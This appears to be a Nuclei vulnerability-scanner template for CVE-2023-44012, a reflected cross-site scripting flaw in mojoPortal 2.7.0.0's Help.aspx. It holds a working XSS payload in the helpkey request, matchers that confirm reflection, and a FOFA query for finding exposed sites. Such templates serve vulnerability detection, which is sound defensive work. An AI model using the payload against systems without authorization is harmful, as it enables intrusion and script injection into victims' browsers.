id: CVE-2023-44012

info:
  name: mojoPortal v.2.7.0.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in the Help.aspx component.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Upgrade to a patched version of mojoPortal to mitigate the Cross Site Scripting (XSS) vulnerability.
  reference:
    - https://github.com/Vietsunshine-Electronic-Solution-JSC/Vulnerability-Disclosures/tree/main/2023/CVE-2023-44012
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44012
    cwe-id: CWE-79
    epss-score: 0.15202
    epss-percentile: 0.94698
    cpe: cpe:2.3:a:mojoportal:mojoportal:2.7.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mojoportal
    product: mojoportal
    fofa-query: title="mojoPortal"
  tags: cve,cve2023,mojoportal,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Help.aspx?helpkey=xxxxxxx'><svg/onload=alert()+x="

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "mojoPortal", "mojo-accordion", "mojo-tabs")'
          - 'contains(body, "><svg/onload=alert()")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100f0ed1b0050790c4faa424b13f37abc1e351c467bc4ffdc40f05eeb5323886e90022100e9f8a878cd966d9836b468981fbb7a9fed04eb3aca78b722a6ee2662e8f69f56:922c64590222798bb761d5b6d8e72950